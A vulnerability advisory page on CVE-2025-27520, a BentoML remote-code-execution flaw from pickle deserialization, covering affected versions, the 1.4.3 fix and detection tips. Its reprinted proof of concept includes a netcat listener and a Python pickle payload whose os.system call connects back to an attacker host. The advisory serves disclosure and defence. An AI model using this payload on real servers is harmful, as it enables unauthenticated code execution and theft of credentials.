CVE-2025-27520: BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization
BentoML 1.3.4 up to 1.4.2 deserializes request bodies with `pickle.loads` in `serde.py`. An unauthenticated attacker can POST a malicious pickle to any service API endpoint and run commands on the server. Upgrade to BentoML 1.4.3. The EPSS score is high (0.41).
Published Apr 4, 2025 · Updated Oct 27, 2026 · Analysis Nov 1, 2026
What an attacker can do
In serde.py, deserialize_value calls pickle.loads(b"".join(payload.data)) whenever the payload metadata has no buffer-lengths key. The payload comes straight from the HTTP request. The reporter set Content-Type: application/vnd.bentoml+pickle and posted a pickle whose __reduce__ runs os.system to the /summarize endpoint of a plain bentoml serve service on port 3000. The server connected back to the attacker's netcat listener.
No authentication or special configuration is needed (CVSS 9.8). Every BentoML service built with the new @bentoml.service API and reachable over the network is a target, whatever it does. The attacker gets the privileges of the serving process: model files, environment variables, cloud credentials and a foothold to move laterally or persist. Services run on GPU hosts or inside clusters often hold valuable credentials and data.
Who is affected
The bentoml package on PyPI from 1.3.4 up to but not including 1.4.3 (the advisory names 1.4.2 as the version tested). The exposed component is the HTTP service started by bentoml serve or a deployed Bento. Check the version:
pip show bentomlCheck inside container images too, because the library is baked into the Bento. Any service reachable by untrusted clients is at risk.
bentoml
- Ecosystem
- PyPI
- Affected
- >= 1.3.4, < 1.4.3
- Fixed in
- 1.4.3
- Check
pip show bentoml
How to fix it
Upgrade to BentoML 1.4.3.
pip install --upgrade "bentoml>=1.4.3"Rebuild and redeploy your Bentos. The fix commit changes src/_bentoml_impl/server/app.py. The main server now rejects requests with Content-Type: application/vnd.bentoml+pickle with HTTP 415 and the message "application/vnd.bentoml+pickle is not allowed in main server". The sources list no other workaround. Until you upgrade, keep the service off untrusted networks.
How to tell if you were hit
Look in access logs for POST requests with Content-Type: application/vnd.bentoml+pickle to your service endpoints. After the fix these return 415 and show the "is not allowed in main server" message, which is a handy sign of probing. On the host, look for shells or tools like nc, curl or wget spawned by the BentoML worker, and unexpected outbound connections from the serving host. If you find a hit, rotate any secrets the service could read.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version(v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server.
Details
It exists an unsafe code segment in serde.py:
def deserialize_value(self, payload: Payload) -> t.Any:
if "buffer-lengths" not in payload.metadata:
return pickle.loads(b"".join(payload.data))Through data flow analysis, it is confirmed that the payload content is sourced from an HTTP request, which can be fully manipulated by the attack. Due to the lack of validation in the code, maliciously crafted serialized data can execute harmful actions during deserialization.
PoC
Environment:
- Server host:
- IP: 10.98.36.123
- OS: Ubuntu
- Attack host:
- IP: 10.98.36.121
- OS: Ubuntu
- Follow the instructions on the BentoML official README(https://github.com/bentoml/BentoML) to set up the environment.
1.1 Install BentoML (Server host: 10.98.36.123) : pip install -U bentoml
1.2 Define APIs in a service.py file (Server host: 10.98.36.123) :
from __future__ import annotations
import bentoml
@bentoml.service(
resources={"cpu": "4"}
)
class Summarization:
def __init__(self) -> None:
import torch
from transformers import pipeline
device = "cuda" if torch.cuda.is_available() else "cpu"
self.pipeline = pipeline('summarization', device=device)
@bentoml.api(batchable=True)
def summarize(self, texts: list[str]) -> list[str]:
results = self.pipeline(texts)
return [item['summary_text'] for item in results]1.3 Run the service code (Server host: 10.98.36.123) :
pip install torch transformers # additional dependencies for local run
bentoml serve- Start nc listening on the attacking host (Attack host: 10.98.36.121) :
nc -lvvp 1234
- Send maliciously crafted request (Attack host: 10.98.36.121) :
import pickle
import os
import requests
headers = {'Content-Type': 'application/vnd.bentoml+pickle'}
class Evil:
def __reduce__(self):
return(os.system, ('nc 10.98.36.121 1234',))
payload = pickle.dumps(Evil())
requests.post("http://10.98.36.123:3000/summarize", data=payload, headers=headers)- Attack success (Attack host: 10.98.36.121) :
The server host(10.98.36.123) has connected to the attacker's host(10.98.36.121) listening on port 1234. nc
Impact
Remote Code Execution (RCE).
Credited to c2an1.
Questions
- Which BentoML versions does CVE-2025-27520 affect?
From 1.3.4 up to but not including 1.4.3. The patched release is 1.4.3.
- Does it need authentication or a special setup?
No. The proof of concept runs against a default
bentoml serveinstance with one POST request and a pickle content type.- How is this different from CVE-2025-32375?
CVE-2025-32375 is in the separate runner server (
runner_app.py), fixed in 1.4.8. This one is in the main service path (serde.py), fixed in 1.4.3.- Is it exploited in the wild?
No source reports exploitation and it is not in the KEV catalog. A working proof of concept is public in the advisory.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More BentoML vulnerabilities
All BentoML entriesCVE-2026-44345
BentoML Dockerfile command injection via docker.base_image (sister of pending GHSA-w2pm-x38x-jp44 / CVE-2026-33744 / CVE-2026-35043)
high8.8May 11, 2026CVE-2026-44346
Dockerfile command injection via envs[*].name in bentofile.yaml (sibling fix-bypass of CVE-2026-33744 and CVE-2026-35043)
high8.8May 11, 2026CVE-2026-40610
BentoML has Information Disclosure in `bentoml build` via symlink traversal in the build context
medium5.5May 7, 2026CVE-2026-35043
BentoML: Command Injection in cloud deployment setup script
high7.8Apr 3, 2026CVE-2026-35044
BentoML: SSTI via Unsandboxed Jinja2 in Dockerfile Generation
high8.8Apr 3, 2026CVE-2026-33744
BentoML has Dockerfile Command Injection via system_packages in bentofile.yaml
high7.8Mar 26, 2026
